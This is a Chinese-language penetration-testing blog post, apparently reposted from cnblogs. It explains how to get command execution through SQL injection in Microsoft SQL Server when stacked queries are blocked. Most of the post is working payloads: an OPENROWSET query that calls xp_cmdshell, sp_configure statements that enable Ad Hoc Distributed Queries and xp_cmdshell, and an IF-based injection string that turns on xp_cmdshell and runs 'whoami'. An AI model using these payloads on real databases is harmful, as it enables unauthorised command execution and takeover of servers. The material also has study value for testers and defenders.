• MSSQL注入 突破不能堆叠的限制执行系统命令


    使用 openrowset

    这是网上流传比较广的一种,使用 openrowset 来执行,突破不能堆叠的限制,语法格式如下:

    OPENROWSET
    ( { 'provider_name' 
        , { 'datasource' ; 'user_id' ; 'password' | 'provider_string' }
        , {   <table_or_view> | 'query' }
       | BULK 'data_file' ,
           { FORMATFILE = 'format_file_path' [ <bulk_options> ]
           | SINGLE_BLOB | SINGLE_CLOB | SINGLE_NCLOB }
    } )
    

    payload

    select * from openrowset('sqloledb','dsn=locaserver;trusted_connection=yes','set 
    fmtonly off 
    exec master..xp_cmdshell ''dir c:''with RESULT SETS((a varchar(max)))')
    

    在平常渗透测试中,这个技巧更多的时候用在切换高权限用户的时候,在 sqlmapdataprocsmssqlserver 下的 run_statement_as_user.sql 中,我们可以看到常用的 payload

    但是该方法在实际的运用中局限性还是很大的,因为在 mssql2005 及其以后,mssql对系统存储过程做了权限控制,Ad Hoc Distributed Queries 组件默认是不被启用的。

    • 开启 Ad Hoc Distributed Queries 组件
    exec sp_configure 'show advanced options',1 reconfigure exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure
    
    • 关闭 Ad Hoc Distributed Queries 组件
    exec sp_configure 'Ad Hoc Distributed Queries',0 reconfigure exec sp_configure 'show advanced options',0 reconfigure
    
    • 查看是否开启相关存储
    select  name,value_in_use from sys.configurations where name like '%Ad Hoc Distributed Queries%'
    
    select  name,value_in_use from sys.configurations where name like '%cmdshell%'
    

    开启后再来执行执行可以看到顺利执行了。

    使用 execexecute

    因为 方法1 的局限性太大了,翻了半天资料没有找到相应的方法,只能自己动手。在同事@子云爸爸 的帮助下,终于瞎几把摸索出一个新的方式去突破无法堆叠的问题。

    那么 exec 真的需要多句才能执行吗?,来直接看 payload

    if 语句的表达式如下,也就是说,我们是可以借助 if 来执行 sql_statement,那么只要你能在你的注入点构造一个 if 出来,不需要环境支持堆叠也可以达到堆叠的效果。

    IF Boolean_expression   
         { sql_statement | statement_block }   
    [ ELSE   
         { sql_statement | statement_block } ]
    

    完整的 payload

    select 1 where 1=1 if 1=1 execute('exec sp_configure ''show advanced options'', 
    1;reconfigure;exec sp_configure ''xp_cmdshell'', 1;reconfigure;exec xp_cmdshell 
    ''whoami''');
    

  • 相关阅读:
    初解DLL基本知识
    读《暗时间》笔记
    红队 Cobalt Strike 安全加固
    《天书夜读 —— 从汇编语言到Windows内核编程》3.3 汇编反C语言练习 参考答案
    记录一次从WordPress后台到拿下主机shell的渗透
    今日记 2019.6.19
    解决Termux无法通过metasploit.sh安装Metasploit的问题
    解决ajax中文乱码问题
    jsp开发知识
    第一个Java web项目:员工管理系统
  • 原文地址:https://www.cnblogs.com/potatsoSec/p/15061738.html
Copyright © 2020-2023  润新知